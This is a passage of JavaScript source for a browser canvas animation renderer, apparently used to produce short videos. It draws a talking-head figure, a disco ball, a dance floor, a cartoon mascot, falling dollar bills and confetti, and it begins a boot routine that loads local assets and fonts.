      ctx.beginPath(); ctx.arc(pts[2][0], pts[2][1], .1 * u * ap, 0, TAU); ctx.fillStyle = SKIN; ctx.fill();
      if (sd > 0 && q > .5 && dp > .5) { ctx.beginPath(); ctx.arc(pts[2][0], pts[2][1], .1 * u * ap, 0, TAU); ctx.strokeStyle = 'rgba(0,0,0,.08)'; ctx.lineWidth = 2; ctx.stroke(); }
    }
  }
  ctx.restore();
}
// draw a head (+ body) with its top-left logic: x = centre, top = top of the head, w = head width
function figure(ctx, img, o, t) {
  const u = o.w, b = t * (o.bpm || 118) / 60 + (o.phase || 0), dp = o.danceP || 0;
  const bob = (1 - Math.cos(TAU * b)) / 2 * .07 * u * dp, sway = Math.sin(Math.PI * b) * .1 * u * dp;
  const REF = img ? img.height / img.width - .12 : 1.25;   // neck point: just above the bottom of the cut (the chin)
  const nx = o.x + sway * .6, ny = o.top + REF * u + bob;
  if ((o.bodyP || 0) > .002) {
    ctx.save(); ctx.translate(nx, ny);
    ctx.save(); drop(ctx, .26, 34, 14); bodyParts(ctx, { ...o, u }, t, 'outline'); ctx.restore();
    bodyParts(ctx, { ...o, u }, t, 'fill'); ctx.restore();
  }
  if (!img) return;
  const h = u * img.height / img.width, rot = (o.rot || 0) + Math.sin(TAU * b) * .06 * dp, sc = o.sc || 1;
  ctx.save(); ctx.translate(nx, ny - REF * u * .5); ctx.rotate(rot); ctx.scale(sc, sc);
  drop(ctx, .3, 42, 16);
  ctx.imageSmoothingQuality = 'high'; ctx.drawImage(img, -u / 2, -REF * u * .5, u, h);
  ctx.restore();
}

const talkHead = {
  needs(s, t) {
    if (t < s.from - .5 || t > (s.to ?? 1e9) + .5) return [];
    const names = new Set([s.face, ...(s.emo || []).map(e => e.img), ...(s.crew || []).map(c => c.img)]);
    return [...names].map(n => url(s, n));
  },
  draw(R, s, t) {
    const { ctx } = R, words = R.tl.words, a = envA(s, t); if (a <= .002) return;
    const [x, top, w] = s.posKeys ? track3(t, s.posKeys) : [W / 2, 560, 600];
    const f = faceAt(s, t), nod = nodAt(t, words), talk = talkingAt(t, words), B = s.body || {};
    const bodyP = B.at != null ? S(t - B.at, 7) : 0, armsP = B.armsAt != null ? S(t - B.armsAt, 8) : 0, danceP = B.danceAt != null ? S(t - B.danceAt, 5) : 0;
    const fl = 1 - danceP * .6;   // the idle float calms down once he dances
    const en = fl * (.55 + .45 * talk);   // more alive while he speaks
    const fx = (noise1(t * .4) - .5) * 30 * en, fy = (noise1(t * .33 + 9) - .5) * 24 * en, frot = (noise1(t * .27 + 3) - .5) * .09 * en
      + Math.sin(t * 7.3) * .02 * talk * fl;   // small talking wobble
    // a face change lands with a soft settle (1.04 -> 1), never a bounce
    const ch = s._ch || (s._ch = { key: null, at: -9 });
    if (f.key !== ch.key && f.key.startsWith('e')) { const e = (s.emo || []).find(e => 'e' + e.from === f.key); ch.at = e ? e.from : t; }
    ch.key = f.key;
    const pop = f.key.startsWith('e') ? .05 * (1 - S(t - ch.at, 14)) : 0;
    const k = w / 600;
    alpha(ctx, a, () => {
      // crew first (behind him)
      for (const c of s.crew || []) {
        const p = S(t - c.at, 10); if (p <= .002) continue;
        alpha(ctx, Math.min(1, p * 1.5), () => figure(ctx, R.img(url(s, c.img)), {
          x: c.x, top: c.top + (1 - p) * 260, w: c.w, bodyP: 1, armsP: 1, danceP: S(t - c.at - .2, 5), shirt: c.shirt, pants: c.pants,
          phase: c.phase || 0, bpm: B.bpm, sc: 1 + .06 * (1 - p), rot: (noise1(t * .3 + c.x) - .5) * .06,
        }, t));
      }
      figure(ctx, R.img(url(s, f.img)), {
        x: x + fx + nod.dir * nod.v * 8 * k, top: top + fy - nod.v * 24 * k, w, bodyP, armsP, danceP, shirt: B.shirt, pants: B.pants, bpm: B.bpm,
        rot: frot + nod.dir * .055 * nod.v, sc: 1 + .03 * nod.v + pop,
      }, t);
    });
  },
};
// snap: keys that move wider than 80 px jump there at once (teleport) instead of springing across
function track3(t, keys, snap) {
  let v = keys[0][1].slice();
  for (let i = 1; i < keys.length; i++) {
    const x = t - keys[i][0], far = snap && Math.abs(keys[i][1][0] - keys[i - 1][1][0]) >= 80;
    const p = far ? (x >= 0 ? 1 : 0) : S(x, keys[i][2] ?? 7); if (p <= 0) break;
    for (let j = 0; j < 3; j++) v[j] += (keys[i][1][j] - keys[i - 1][1][j]) * p;
  }
  return v;
}

// ---------------------------------------------------------------- disco
const disco = {
  draw(R, s, t) {
    const { ctx } = R, p = S(t - s.at, 6), out = 1 - S(t - (s.to ?? 1e9), 14); if (p <= .002 || out <= .002) return;
    const r = s.r || 130, x = s.x ?? W / 2, y = lerp(-r - 60, s.y ?? 250, p), th = t * 1.1;
    const lights = S(t - (s.spotsAt ?? s.at + .6), 6) * out;
    // light spots sweeping the paper (drawn first, under everything)
    if (lights > .01) {
      ctx.save(); ctx.globalCompositeOperation = 'multiply';
      for (let i = 0; i < 26; i++) {
        const a = th * .6 + i * 2.39996, d = 220 + 900 * hash(i * 1.3), sx = x + Math.cos(a) * d, sy = y + 300 + Math.sin(a) * d * .9;
        if (sy < -60 || sy > H + 60) continue;
        const rr = 30 + 34 * hash(i * 2.1), blue = i % 2 === 0;
        const g = ctx.createRadialGradient(sx, sy, 0, sx, sy, rr);
        g.addColorStop(0, blue ? `rgba(37,142,255,${.75 * lights})` : `rgba(150,140,120,${.3 * lights})`); g.addColorStop(1, 'rgba(255,255,255,0)');
        ctx.fillStyle = g; ctx.fillRect(sx - rr, sy - rr, rr * 2, rr * 2);
      }
      ctx.restore();
      ctx.save(); ctx.globalCompositeOperation = 'screen';
      for (let i = 0; i < 18; i++) {
        const a = -th * .5 + i * 1.7, d = 160 + 820 * hash(i * 4.1 + 9), sx = x + Math.cos(a) * d, sy = y + 360 + Math.sin(a) * d;
        const rr = 18 + 22 * hash(i * 3.3), g = ctx.createRadialGradient(sx, sy, 0, sx, sy, rr);
        g.addColorStop(0, `rgba(255,255,255,${.85 * lights})`); g.addColorStop(1, 'rgba(255,255,255,0)');
        ctx.fillStyle = g; ctx.fillRect(sx - rr, sy - rr, rr * 2, rr * 2);
      }
      ctx.restore();
    }
    alpha(ctx, out, () => {
      // string
      ctx.strokeStyle = C.ink2; ctx.lineWidth = 4; ctx.beginPath(); ctx.moveTo(x, -10); ctx.lineTo(x, y - r - 14); ctx.stroke();
      ctx.fillStyle = C.ink2; ctx.beginPath(); ctx.roundRect(x - 16, y - r - 22, 32, 26, 6); ctx.fill();
      // ball: white die-cut ring + shadow, then the mirror tiles
      ctx.save(); drop(ctx, .3, 40, 18); ctx.beginPath(); ctx.arc(x, y, r + 10, 0, TAU); ctx.fillStyle = C.white; ctx.fill(); ctx.restore();
      ctx.save(); ctx.beginPath(); ctx.arc(x, y, r, 0, TAU); ctx.clip(); ctx.fillStyle = '#5E626B'; ctx.fillRect(x - r, y - r, 2 * r, 2 * r);
      const NL = 12, NO = 24;
      for (let j = 0; j < NL; j++) {
        const la0 = -Math.PI / 2 + j * Math.PI / NL, la1 = la0 + Math.PI / NL;
        for (let k = 0; k < NO; k++) {
          const lo0 = k * TAU / NO + th, lo1 = lo0 + TAU / NO, lm = (lo0 + lo1) / 2;
          if (Math.cos(lm) <= -.05) continue;   // back side
          const P = (la, lo) => [x + r * Math.cos(la) * Math.sin(lo), y + r * Math.sin(la)];
          const q = [P(la0, lo0), P(la0, lo1), P(la1, lo1), P(la1, lo0)];
          const nz = Math.cos((la0 + la1) / 2) * Math.cos(lm), ny = Math.sin((la0 + la1) / 2), nx = Math.cos((la0 + la1) / 2) * Math.sin(lm);
          let l = clamp(.35 + .5 * (nz * .7 - ny * .5 - nx * .3));
          const tw = hash(j * 31 + k * 7 + Math.floor(t * 6) * 0.13);
          let fill = `rgb(${Math.round(lerp(120, 236, l))},${Math.round(lerp(124, 238, l))},${Math.round(lerp(132, 242, l))})`;
          if (tw > .93) fill = C.white; else if (tw < .05) fill = C.blue;
          ctx.beginPath(); q.forEach((pt, i) => ctx[i ? 'lineTo' : 'moveTo'](...pt)); ctx.closePath();
          ctx.fillStyle = fill; ctx.fill(); ctx.strokeStyle = 'rgba(40,40,48,.55)'; ctx.lineWidth = 1.6; ctx.stroke();
        }
      }
      const g = ctx.createRadialGradient(x - r * .35, y - r * .4, 0, x, y, r); g.addColorStop(0, 'rgba(255,255,255,.45)'); g.addColorStop(.5, 'rgba(255,255,255,0)'); g.addColorStop(1, 'rgba(0,0,0,.28)');
      ctx.fillStyle = g; ctx.fillRect(x - r, y - r, 2 * r, 2 * r); ctx.restore();
      // glints
      for (let i = 0; i < 3; i++) {
        const gp = (t * .9 + i * .37) % 1, gs = Math.sin(Math.PI * gp) * 26 * lights; if (gs < 2) continue;
        const gx = x + (hash(i + Math.floor(t * .9 + i * .37)) - .5) * r * 1.2, gy = y + (hash(i * 3 + Math.floor(t * .9 + i * .37)) - .6) * r * 1.1;
        ctx.fillStyle = C.white; ctx.beginPath();
        for (let k = 0; k < 8; k++) { const a = k * Math.PI / 4, rr = k % 2 ? gs * .22 : gs; ctx.lineTo(gx + Math.cos(a) * rr, gy + Math.sin(a) * rr); }
        ctx.closePath(); ctx.fill();
      }
    });
  },
};

// ---------------------------------------------------------------- dancefloor
const dancefloor = {
  draw(R, s, t) {
    const { ctx } = R, out = 1 - S(t - (s.to ?? 1e9), 14); if (t < s.at - .05 || out <= .002) return;
    const y0 = s.y0 ?? 1360, y1 = H + 40, rows = s.rows || 5, cols = s.cols || 7, b = Math.floor(t * (s.bpm || 118) / 60);
    const xAt = (c, y) => { const f = (y - y0) / (y1 - y0), half = lerp(430, 900, f); return W / 2 + (c / cols - .5) * 2 * half; };
    const yAt = r => y0 + (y1 - y0) * Math.pow(r / rows, 1.25);
    alpha(ctx, out, () => {
      // floor slab shadow on the paper
      ctx.save(); drop(ctx, .28, 40, -6);
      ctx.beginPath(); ctx.moveTo(xAt(0, y0), y0); ctx.lineTo(xAt(cols, y0), y0); ctx.lineTo(xAt(cols, y1), y1); ctx.lineTo(xAt(0, y1), y1); ctx.closePath();
      ctx.fillStyle = C.ink; ctx.globalAlpha *= S(t - s.at, 8); ctx.fill(); ctx.restore();
      for (let r = 0; r < rows; r++) for (let c = 0; c < cols; c++) {
        const p = S(t - s.at - (rows - 1 - r) * .06 - Math.abs(c - cols / 2) * .03, 10); if (p <= .002) continue;
        const ya = yAt(r), yb = yAt(r + 1), g = 5;
        const lit = hash(r * 17 + c * 5 + b * 3.1), on = lit > .62, blue = lit > .8;
        const fill = blue ? C.blue : on ? C.sheet : r % 2 === c % 2 ? '#2A2D35' : '#1E2027';
        ctx.save(); ctx.globalAlpha *= p;
        ctx.beginPath(); ctx.moveTo(xAt(c, ya) + g, ya + g); ctx.lineTo(xAt(c + 1, ya) - g, ya + g); ctx.lineTo(xAt(c + 1, yb) - g, yb - g); ctx.lineTo(xAt(c, yb) + g, yb - g); ctx.closePath();
        ctx.fillStyle = fill; ctx.fill();
        if (on) { ctx.save(); ctx.clip(); const gl = ctx.createLinearGradient(0, ya, 0, yb); gl.addColorStop(0, 'rgba(255,255,255,.35)'); gl.addColorStop(1, 'rgba(255,255,255,0)'); ctx.fillStyle = gl; ctx.fill(); ctx.restore(); }
        ctx.restore();
      }
    });
  },
};

// ---------------------------------------------------------------- mascot
// Full-body cartoon mascot, one drawn pose per beat (no lip-sync). Pose PNGs share one canvas (cutout.py --canvas):
// feet at FOOT of the height, body centred. Pivot = feet, so squash/stretch and hops read like a cartoon.
const FOOT = .95;
const murl = (s, n) => '/p/' + (s.dir || 'assets/mascot/') + n + '.png';
function phrasesOf(s, words) {
  if (s._ph && s._ph.n === words.length) return s._ph.list;
  const list = []; let cur = null;
  for (const w of words) { if (cur && w.start - cur.end < (s.gap ?? .42)) cur.end = w.end; else list.push(cur = { start: w.start, end: w.end }); }
  s._ph = { n: words.length, list }; return list;
}
// which drawing is on screen at t, and since when (drives the squash on every swap)
function poseAt(s, t, words) {
  const D = s.dance;
  if (D && t >= D.at && t < (D.to ?? 1e9)) {
    const beat = (D.beats || 2) * 60 / (D.bpm || 104), k = Math.floor((t - D.at) / beat);
    return { img: D.imgs[k % D.imgs.length], since: D.at + k * beat };
  }
  const P = s.poses || []; let lastEnd = -1e9;
  for (let i = 0; i < P.length; i++) {
    const end = P[i].to ?? Math.min(P[i].at + (s.hold ?? 1.8), P[i + 1]?.at ?? 1e9);
    if (t >= P[i].at && t < end) return { img: P[i].img, since: P[i].at, flip: P[i].flip };
    if (end <= t) lastEnd = Math.max(lastEnd, end);
  }
  const ph = phrasesOf(s, words); let prevEnd = -1e9;
  for (let i = 0; i < ph.length; i++) {
    const a = ph[i].start - .06, b = ph[i].end + .22;
    if (t >= a && t < b) { const talk = s.talk || []; return { img: talk[i % talk.length] || s.idle, since: Math.max(a, lastEnd) }; }
    if (b <= t) prevEnd = b;
  }
  return { img: s.idle, since: Math.max(prevEnd, lastEnd) };
}
// cartoon swap: lands squashed, overshoots tall, settles (~.35 s)
const swapK = x => x < 0 || x > .6 ? 0 : Math.exp(-x * 9) * Math.cos(x * 24);
function drawMascot(ctx, img, o) {
  if (!img) return;
  const h = o.h, w = h * img.width / img.height;
  ctx.save(); ctx.translate(o.x, o.y);
  // contact shadow on the ground, shrinks while airborne
  if (o.ground !== false) {
    const air = clamp(-(o.lift || 0) / (h * .3));
    ctx.save(); ctx.scale((1 - air * .45) * (1 - (o.gone || 0)), 1);
    const g = ctx.createRadialGradient(0, 0, 0, 0, 0, h * .2); g.addColorStop(0, `rgba(30,22,10,${.22 * (1 - air * .6)})`); g.addColorStop(1, 'rgba(30,22,10,0)');
    ctx.fillStyle = g; ctx.scale(1, .16); ctx.beginPath(); ctx.arc(0, 0, h * .2, 0, TAU); ctx.fill(); ctx.restore();
  }
  ctx.translate(0, o.lift || 0); ctx.rotate(o.rot || 0); ctx.scale(o.sx || 1, o.sy || 1);
  if (o.flip) ctx.scale(-1, 1);
  ctx.save();
  if (o.clipY != null) { ctx.beginPath(); ctx.rect(-W, -h * 2, W * 2, h * 2 + o.clipY); ctx.clip(); }
  if (o.filter) ctx.filter = o.filter;
  drop(ctx, .3, 38, 16);
  ctx.imageSmoothingQuality = 'high'; ctx.drawImage(img, -w / 2, -FOOT * h, w, h);
  ctx.restore();
  // the cut gets a die-cut white edge so the floating head still reads as a sticker
  if (o.clipY != null && o.cutA > .01) alpha(ctx, o.cutA, () => {
    drop(ctx, .25, 16, 6); ctx.beginPath(); ctx.roundRect(-h * .13, o.clipY - h * .012, h * .26, h * .028, h * .014); ctx.fillStyle = C.white; ctx.fill();
  });
  ctx.restore();
}
function hopAt(t, jumps, d = .5) {   // 0..1 height, plus squash before take-off and on landing
  let lift = 0, sq = 0;
  for (const j of jumps || []) {
    const x = t - (j.at ?? j);
    if (x > -.12 && x < 0) sq = Math.max(sq, Math.sin(Math.PI * (x + .12) / .12) * .5);
    else if (x >= 0 && x < d) lift = Math.max(lift, Math.sin(Math.PI * x / d));
    else if (x >= d && x < d + .22) sq = Math.max(sq, Math.sin(Math.PI * (x - d) / .22));
  }
  return { lift, sq };
}
// travel between two posKeys far apart = one cartoon leap: arc in the air, lean into the move, squash on landing.
// p = spring progress of the newest key still moving, dx = its horizontal distance.
function travelAt(t, keys, sp = 7) {
  let best = null;
  for (let i = 1; i < (keys || []).length; i++) {
    const x = t - keys[i][0]; if (x < -.14) break;
    const dx = keys[i][1][0] - keys[i - 1][1][0]; if (Math.abs(dx) < 80) continue;
    const p = S(x, keys[i][2] ?? sp); if (p < .985) best = { x, p, dx, dir: Math.sign(dx), amt: Math.min(1, Math.abs(dx) / 520) };
  }
  return best;
}
// teleport (s.teleport): every posKeys move wider than 80 px. He zips thin and vanishes in TP_OUT s before the key,
// then pops back at the new spot (spring, no overshoot). k = time since the key, from = where he left.
const TP_OUT = .1, TP_IN = .45;
function teleportAt(t, keys) {
  for (let i = (keys || []).length - 1; i >= 1; i--) {
    const k = t - keys[i][0]; if (k < -TP_OUT || k > TP_IN) continue;
    if (Math.abs(keys[i][1][0] - keys[i - 1][1][0]) < 80) continue;
    const v = k < 0 ? (u => u * u * (3 - 2 * u))(-k / TP_OUT) : S(k, 15);
    return { k, v, from: track3(keys[i][0] - .001, keys, true) };
  }
  return null;
}
// cartoon poof: a compact paper cloud (outline only on the outside) that swells then shrinks, plus a few marker ticks
function poof(ctx, x, cy, r, k) {
  if (k <= 0 || k >= 1) return;
  const e = 1 - Math.pow(1 - k, 3), a = k < .7 ? 1 : 1 - (k - .7) / .3, sh = 1 - k * k, P = [];
  for (let i = 0; i < 8; i++) {
    const ang = i / 8 * TAU + hash(i * 3.3) * .6, d = r * (.12 + .45 * e) * (.8 + .4 * hash(i * 1.9));
    P.push([x + Math.cos(ang) * d, cy + Math.sin(ang) * d * .75, r * (.22 + .08 * hash(i * 5.7)) * sh]);
  }
  P.push([x, cy, r * .3 * sh * (1 - e)]);
  alpha(ctx, a, () => {
    ctx.strokeStyle = 'rgba(20,22,27,.6)'; ctx.lineWidth = 7;
    for (const [px, py, pr] of P) if (pr > 1) { ctx.beginPath(); ctx.arc(px, py, pr, 0, TAU); ctx.stroke(); }
    ctx.fillStyle = C.white;
    for (const [px, py, pr] of P) if (pr > 1) { ctx.beginPath(); ctx.arc(px, py, pr, 0, TAU); ctx.fill(); }
    ctx.strokeStyle = C.ink; ctx.lineCap = 'round'; ctx.lineWidth = 6; ctx.globalAlpha *= .7 * (1 - k);
    for (let i = 0; i < 6; i++) {
      const ang = i / 6 * TAU + .3, r0 = r * (.6 + .45 * e), r1 = r0 + r * .2;
      ctx.beginPath(); ctx.moveTo(x + Math.cos(ang) * r0, cy + Math.sin(ang) * r0 * .8); ctx.lineTo(x + Math.cos(ang) * r1, cy + Math.sin(ang) * r1 * .8); ctx.stroke();
    }
  });
}
// little paper dust puffs at the feet when he lands
function dust(ctx, x, y, h, k) {
  if (k <= 0 || k >= 1) return;
  const e = 1 - Math.pow(1 - k, 3), a = 1 - k;
  for (let i = 0; i < 6; i++) {
    const side = i % 2 ? 1 : -1, d = (h * .1 + h * .22 * e) * (.7 + .5 * hash(i * 2.3)), r = h * (.03 + .035 * e) * (.7 + .6 * hash(i * 5.1));
    alpha(ctx, a, () => {
      ctx.beginPath(); ctx.arc(x + side * d, y - h * (.01 + .05 * e * hash(i * 1.7)), r, 0, TAU);
      ctx.fillStyle = C.white; ctx.fill(); ctx.lineWidth = 3; ctx.strokeStyle = 'rgba(20,22,27,.55)'; ctx.stroke();
    });
  }
}
// marker speed strokes trailing behind him while he flies across
function speedLines(ctx, x, y, h, dir, a) {
  if (a <= .02) return;
  ctx.save(); ctx.lineCap = 'round'; ctx.strokeStyle = C.ink;
  for (let i = 0; i < 4; i++) {
    const yy = y - h * (.25 + .17 * i), len = h * (.22 + .14 * hash(i * 3.1)) * a, x0 = x - dir * h * (.3 + .06 * hash(i * 7.7));
    ctx.globalAlpha = .55 * a; ctx.lineWidth = 7 - i; ctx.beginPath(); ctx.moveTo(x0, yy); ctx.lineTo(x0 - dir * len, yy); ctx.stroke();
  }
  ctx.restore();
}
const mascot = {
  needs(s, t) {
    if (t < s.from - .5 || t > (s.to ?? 1e9) + .5) return [];
    const n = new Set([s.idle, s.travelPose, s.airPose, ...(s.talk || []), ...(s.poses || []).map(p => p.img), ...(s.dance?.imgs || []), ...(s.crew || []).flatMap(c => c.imgs)]);
    return [...n].filter(Boolean).map(x => murl(s, x));
  },
  draw(R, s, t) {
    const { ctx } = R, words = R.tl.words, a = envA(s, t); if (a <= .002) return;
    const [x, footY, h] = s.posKeys ? track3(t, s.posKeys, s.teleport) : [W / 2, 1560, 1100];
    const D = s.dance, bpm = D?.bpm || 104, dp = D ? S(t - D.at, 6) * (1 - S(t - (D.to ?? 1e9), 8)) : 0, beat = t * bpm / 60;
    const nod = nodAt(t, words), talk = talkingAt(t, words), pose = poseAt(s, t, words);
    alpha(ctx, a, () => {
      // friends behind him, they pop up from under the floor and dance on the beat
      for (const c of s.crew || []) {
        const p = S(t - c.at, 9) * (1 - S(t - (c.to ?? 1e9), 9)); if (p <= .002) continue;
        const cb = beat + (c.phase || 0), k = Math.floor((t - c.at) / (2 * 60 / bpm));
        const bounce = Math.abs(Math.sin(Math.PI * cb)), x0 = t - c.at;
        const pop = swapK(x0 - .02) * .8 + swapK(((t - c.at) % (2 * 60 / bpm))), ci = c.imgs[Math.max(0, k) % c.imgs.length];
        drawMascot(ctx, R.img(murl(s, ci)), {
          x: c.x, y: c.footY + (1 - p) * (H - c.footY + c.h * 1.1), h: c.h * (s.sizes?.[ci] ?? 1), lift: -bounce * c.h * .035,   // sinks fully below the frame
          sx: 1 + .05 * pop, sy: 1 - .07 * pop + .03 * bounce, rot: Math.sin(Math.PI * cb) * .05, flip: c.flip,
        });
      }
      // squash and stretch layers
      const tp = s.teleport ? teleportAt(t, s.posKeys) : null, tr = s.teleport ? null : travelAt(t, s.posKeys), hop = hopAt(t, s.jumps);
      let img = pose.img, flip = pose.flip ?? s.flip, since = pose.since;
      // leap: anticipation crouch, arc, landing squash; the travel pose (running, facing right) flips with the direction
      let arc = 0, lean = 0, land = 0, crouch = 0;
      if (tr) {
        if (tr.x < 0) crouch = Math.sin(Math.PI * (tr.x + .14) / .14) * .6 * tr.amt;
        else { arc = Math.sin(Math.PI * Math.min(1, tr.p / .92)) * tr.amt; lean = tr.dir * Math.sin(Math.PI * Math.min(1, tr.p / .8)) * .2 * tr.amt; }
        if (tr.p > .86) land = Math.sin(Math.PI * (tr.p - .86) / .125) * tr.amt;
        if (s.travelPose && tr.x >= 0 && tr.p < .82) { img = s.travelPose; flip = tr.dir < 0; since = t - tr.x; }
      }
      if (s.airPose && !tr && hop.lift > .25) { img = s.airPose; flip = s.flip; }
      const sw = swapK(t - since);
      const bounce = Math.abs(Math.sin(Math.PI * beat)) * dp, idle = 1 - dp;
      const sq = Math.max(hop.sq, crouch, land), up = Math.max(hop.lift, arc * .8);
      let sx = 1 + .09 * sw + .03 * nod.v * idle + .07 * sq - .04 * up, sy = 1 - .11 * sw - .045 * nod.v * idle - .11 * sq + .08 * up;
      if (tp) { sx *= tp.v; sy *= 1 + .22 * (1 - tp.v); }   // zips thin and tall, then springs back
      sy += .012 * Math.sin(t * 2.6) * idle + .04 * (bounce - .5) * dp; sx -= .025 * (bounce - .5) * dp;
      const rot = lean + ((noise1(t * .45 + 3) - .5) * .07 + nod.dir * .035 * nod.v + Math.sin(t * 8.1) * .016 * talk) * idle + Math.sin(Math.PI * beat) * .06 * dp;
      const lift = -(hop.lift * h * .16 + arc * h * .38 + bounce * h * .04);
      const fx = (noise1(t * .3) - .5) * 26 * idle;
      // head-only gag: the body is cut off at the chin, then unrolls back down
      let clipY = null, cutA = 0;
      for (const [f0, f1] of s.headOnlySpans || []) {
        const cp = S(t - f0, 12) * (1 - S(t - f1, 9)); if (cp <= .002) continue;
        clipY = lerp(h * .2, -FOOT * h + (s.chin ?? .6) * h, cp); cutA = clamp((cp - .7) / .3);
      }
      let filter = null;
      for (const [f0, f1] of s.hueSpans || []) if (t >= f0 && t < f1 + .3) { const e = 1 - S(t - f1, 14); filter = `hue-rotate(${Math.round((t - f0) * 900 * e)}deg) saturate(${1 + .5 * e})`; }
      if (tr && tr.x > 0) speedLines(ctx, x + fx, footY + lift, h, tr.dir, Math.sin(Math.PI * Math.min(1, tr.p / .85)) * tr.amt);
      if (tp && s.dust !== false) {   // puffs behind him: where he vanished, then where he lands
        const pf = tp.from; poof(ctx, pf[0] + fx, pf[1] - pf[2] * .45, pf[2] * .42, (tp.k + TP_OUT * .5) / .4);
        if (tp.k >= 0) poof(ctx, x + fx, footY - h * .45, h * .42, tp.k / .4);
      }
      if (!tp || tp.v > .01) drawMascot(ctx, R.img(murl(s, img)), { x: x + fx, y: footY, h: h * (s.sizes?.[img] ?? 1), lift, sx, sy, rot, clipY, cutA, filter, flip, gone: tp ? 1 - tp.v : 0 });
      // dust when he lands: after a leap, and after each jump of s.jumps
      if (s.dust !== false) {
        if (tr && tr.p > .8) dust(ctx, x + fx, footY, h, (tr.p - .8) / .2);
        for (const j of s.jumps || []) { const k = (t - (j.at ?? j) - .48) / .45; if (k > 0 && k < 1) dust(ctx, x + fx, footY, h * .8, k); }
      }
    });
  },
};
// ---------------------------------------------------------------- bills
// {from, at, to, n 22}: paper dollar bills flutter down over everything (money leaving the wallet).
const bills = {
  draw(R, s, t) {
    const { ctx } = R, out = 1 - S(t - (s.to ?? 1e9), 10); if (t < s.at || out <= .002) return;
    const n = s.n || 22, x0 = t - s.at;
    for (let i = 0; i < n; i++) {
      const d = hash(i * 3.7) * (s.spread ?? 2.2), x = x0 - d; if (x <= 0) continue;
      const vy = 330 + 260 * hash(i * 1.9), y = -140 + x * vy, bx = 80 + hash(i * 5.3) * (W - 160) + Math.sin(x * 2.6 + i) * 90;
      if (y > H + 140) continue;
      const rot = Math.sin(x * 2.1 + i * 2) * .7 + (hash(i) - .5), flipX = Math.cos(x * 4.2 + i * 1.3), sc = .8 + .45 * hash(i * 7.1);
      alpha(ctx, out, () => {
        ctx.translate(bx, y); ctx.rotate(rot); ctx.scale(sc * (.25 + .75 * Math.abs(flipX)), sc);
        const bw = 190, bh = 92;
        drop(ctx, .22, 18, 8); ctx.beginPath(); ctx.roundRect(-bw / 2 - 7, -bh / 2 - 7, bw + 14, bh + 14, 12); ctx.fillStyle = C.white; ctx.fill(); ctx.shadowColor = 'transparent';
        ctx.beginPath(); ctx.roundRect(-bw / 2, -bh / 2, bw, bh, 7); ctx.fillStyle = '#CFE3C4'; ctx.fill();
        ctx.lineWidth = 3; ctx.strokeStyle = '#4F7A47'; ctx.beginPath(); ctx.roundRect(-bw / 2 + 9, -bh / 2 + 9, bw - 18, bh - 18, 5); ctx.stroke();
        ctx.beginPath(); ctx.arc(0, 0, 27, 0, TAU); ctx.fillStyle = '#F4F8EF'; ctx.fill(); ctx.stroke();
        ctx.fillStyle = '#3F6A38'; ctx.font = '800 38px Inter'; ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.fillText('$', 0, 2);
        if (flipX < 0) { ctx.fillStyle = 'rgba(40,60,30,.12)'; ctx.fillRect(-bw / 2, -bh / 2, bw, bh); }
      });
    }
  },
};

// ---------------------------------------------------------------- confetti
// {at, to, x 540, y 900, n 140, power 1}: paper confetti burst (blue, ink, tint, white) with gravity and flutter.
const CONF = ['blue', 'ink', 'tint', 'white', 'blue', 'sheet'];
const confetti = {
  draw(R, s, t) {
    const { ctx } = R, x0 = t - s.at, out = 1 - S(t - (s.to ?? s.at + 3.5), 8); if (x0 <= 0 || out <= .002) return;
    const n = s.n || 140, pw = s.power || 1;
    for (let i = 0; i < n; i++) {
      const ang = -Math.PI / 2 + (hash(i * 1.3) - .5) * (s.cone ?? 2.4), v = (900 + 1500 * hash(i * 2.7)) * pw;
      const drag = 2.2, e = (1 - Math.exp(-drag * x0)) / drag;
      const px = (s.x ?? W / 2) + Math.cos(ang) * v * e + Math.sin(x0 * 5 + i) * 26 * x0;
      const py = (s.y ?? 900) + Math.sin(ang) * v * e + 520 * x0 * x0;
      if (py > H + 40) continue;
      const fl = Math.cos(x0 * (7 + 6 * hash(i * 4.4)) + i), sz = 16 + 16 * hash(i * 6.1);
      alpha(ctx, out, () => {
        ctx.translate(px, py); ctx.rotate(x0 * (3 + 5 * hash(i)) + i); ctx.scale(1, .2 + .8 * Math.abs(fl));
        const c = CONF[i % CONF.length]; ctx.fillStyle = c === 'sheet' ? C.sheet : col(c);
        if (i % 3) ctx.fillRect(-sz / 2, -sz * .3, sz, sz * .6); else { ctx.beginPath(); ctx.arc(0, 0, sz * .38, 0, TAU); ctx.fill(); }
      });
    }
  },
};

export const FACE = { paperFlow, bgPattern, talkHead, disco, dancefloor, mascot, bills, confetti };

// Browser runtime: render(t) draws one 1080xH frame (H = 1920, or 1080 for spec.format 'square'), deterministic in t (SHORT time).
// Draw order: paper BG -> stage (clipped above the deckle seam, slides with the paper) -> camera (below seam)
// -> seam shadow -> speaker cutout -> 'over' scenes -> captions.
import * as K from './kit.js';
import { installEncoder } from './encode.js';
import { mapper, mapSpec, captionChunks } from './timeline.js';
import { SCENES, drawActor, actorNeeds, linkScenes } from './scenes.js';
import { CAPTION_DRAW } from './scenes-meta.js';
import { withStyle, themeOf, captionStyleIndex, CAPTION_STYLES, CAPTION_FONTS, mixHex } from './style.js';

const { C, W, H, S, clamp, lerp, track, noise1 } = K;
const pad5 = i => String(i).padStart(5, '0');

const PERF_BOOT = {};
export async function boot() {
  const q = new URLSearchParams(location.search), scale = +q.get('scale') || 1;
  // /style.json: the project's source/style.json (creator colors, font, captions, pace, music), {} for legacy projects
  const [tl, frames, style] = await Promise.all(['/p/assets/timeline.json', '/p/assets/frames.json', '/style.json'].map(u => fetch(u).then(r => r.json())));
  K.setTheme(themeOf(style));
  if (style.font?.src) { const f = new FontFace(style.font.family, 'url(/style-font)', { weight: '100 900' }); document.fonts.add(await f.load()); }
  const spec = mapSpec(withStyle(window.SPEC, style), mapper(tl)), FPS = tl.fps;
  for (const w of ['400', '500', '600', '700', '800']) await document.fonts.load(`${w} 40px ${K.F.sans}`);
  await document.fonts.load('500 40px "JetBrains Mono"');
  K.setDisplay(spec.display);   // big-text look (style.display): its families must be loaded before the first frame
  if (K.D.font) await document.fonts.load(`${K.D.weight} 40px ${K.D.font}`);
  if (K.D.text) for (const w of ['600', '800']) await document.fonts.load(`${w} 40px ${K.D.text}`);
  // board text items with their own family ({k: 'text', font, weight})
  for (const it of new Set((spec.scenes || []).flatMap(s => s.items || []).filter(it => it.font).map(it => `${it.weight || 400} 40px ${K.famCss(it.font)}`))) await document.fonts.load(it);

